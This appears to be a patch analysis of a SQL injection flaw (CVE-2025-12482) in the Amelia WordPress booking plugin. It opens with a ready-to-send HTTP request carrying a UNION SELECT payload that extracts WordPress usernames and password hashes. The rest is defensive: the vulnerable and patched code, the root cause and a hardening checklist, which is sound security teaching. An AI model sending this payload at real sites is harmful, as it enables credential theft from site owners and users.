The Exploit
An unauthenticated attacker can extract arbitrary data from the WordPress database by injecting SQL into the search parameter of the Amelia event booking API endpoint.
POST /wp-json/amelia/v1/events HTTP/1.1
Host: target.local
Content-Type: application/json
{
"search": "test' UNION SELECT GROUP_CONCAT(user_login,':',user_pass),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_users WHERE '1'='1"
}
When the request lands, the attacker receives a 200 response containing password hashes for all WordPress users embedded in the event name field of the JSON response. The attacker observes hashes in plaintext within the name key of the returned event objects, allowing offline cracking.
What the Patch Did
Before:
$where[] = "(e.name LIKE '%" . $criteria['search'] . "%'
OR e.translations LIKE '{\"name\":{%" . $criteria['search'] . "%\"description\":{%'
OR e.translations LIKE '{\"description\":{%\"name\":{%" . $criteria['search'] . "%'
OR (e.translations LIKE '{\"name\":{%" . $criteria['search'] . "%' AND e.translations NOT LIKE '%\"description\":{%'))";
After:
$params[':search1'] = "%{$criteria['search']}%";
$params[':search2'] = "{\"name\":{%{$criteria['search']}%\"description\":{%";
$params[':search3'] = "{\"description\":{%\"name\":{%{$criteria['search']}%";
$params[':search4'] = "{\"name\":{%{$criteria['search']}%";
$where[] = "(e.name LIKE :search1
OR e.translations LIKE :search2
OR e.translations LIKE :search3
OR (e.translations LIKE :search4 AND e.translations NOT LIKE '%\"description\":{%'))";
The patch replaced string concatenation with parameterized queries using named placeholders (:search1, :search2, etc.). This is WordPress's $wpdb->prepare() pattern: user input moves into the $params array and the SQL query string contains only column names, operators, and placeholder tokens. The database driver ensures placeholders are treated as literal data, never as executable SQL syntax.
Root Cause
CWE-89 (Improper Neutralization of Special Elements used in an SQL Command).
The $criteria['search'] parameter enters from the REST API request without sanitization. It flows directly into the string concatenation on lines 454–457 and 690–693 of EventRepository.php, crossing the trust boundary between untrusted user input and the SQL query string. Because the search value is concatenated into the WHERE clause without escaping or parameterization, an attacker can inject UNION, OR, and other SQL keywords. The vulnerable sink is the $where[] array which is later assembled into the final SQL query executed by $wpdb->get_results().
Why It Works
The load-bearing line is the parameterized query placeholder syntax: LIKE :search1 instead of LIKE '%" . $criteria['search'] . "%'. Removing this and reverting to concatenation immediately re-opens the hole because the SQL parser would see attacker-controlled tokens again.
The other lines—moving each search variant into a separate $params entry—exist for clarity and maintainability, not security. A single :search placeholder with one $params entry would be sufficient defense. However, the patch mirrors the original logic exactly by maintaining four separate search patterns, each with its own placeholder. This preserves the original matching semantics (name, translation name, translation description, etc.) while moving the actual user value out of the query string. The engineer chose defense-in-depth by ensuring every concatenation point was eliminated, reducing the risk of a future refactor accidentally reverting to unsafe concatenation.
Hardening Checklist
-
Audit all REST API handlers for direct
$_REQUESTor request parameter access. Usewp_verify_nonce()to gate endpoints and grep for string concatenation patterns like$wpdb->query("... " . $var . " ..."); always use$wpdb->prepare()with placeholders instead. -
Enforce parameterized queries as the only pattern in CI/CD. Use static analysis (e.g., phpstan-wordpress) to flag any SQL query string that does not use
%d,%s, or%iplaceholder syntax; require manual security review to override. -
Sanitize and validate the
searchparameter at the REST controller level. Callsanitize_text_field()on thesearchinput before passing it to the repository layer, and enforce a maximum length (e.g., 255 characters) to reduce the blast radius of injection. -
Add integration tests for SQL injection payloads. Create unit tests that verify UNION SELECT, OR 1=1, and comment-based payloads in the search parameter return an empty result set or error, not data exfiltration.
-
Use
$wpdb->prepare()exclusively; never call$wpdb->query()with user input. Prefer prepared statements over string interpolation, and use WordPress's built-in escaping functions rather than manual quoting.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-12482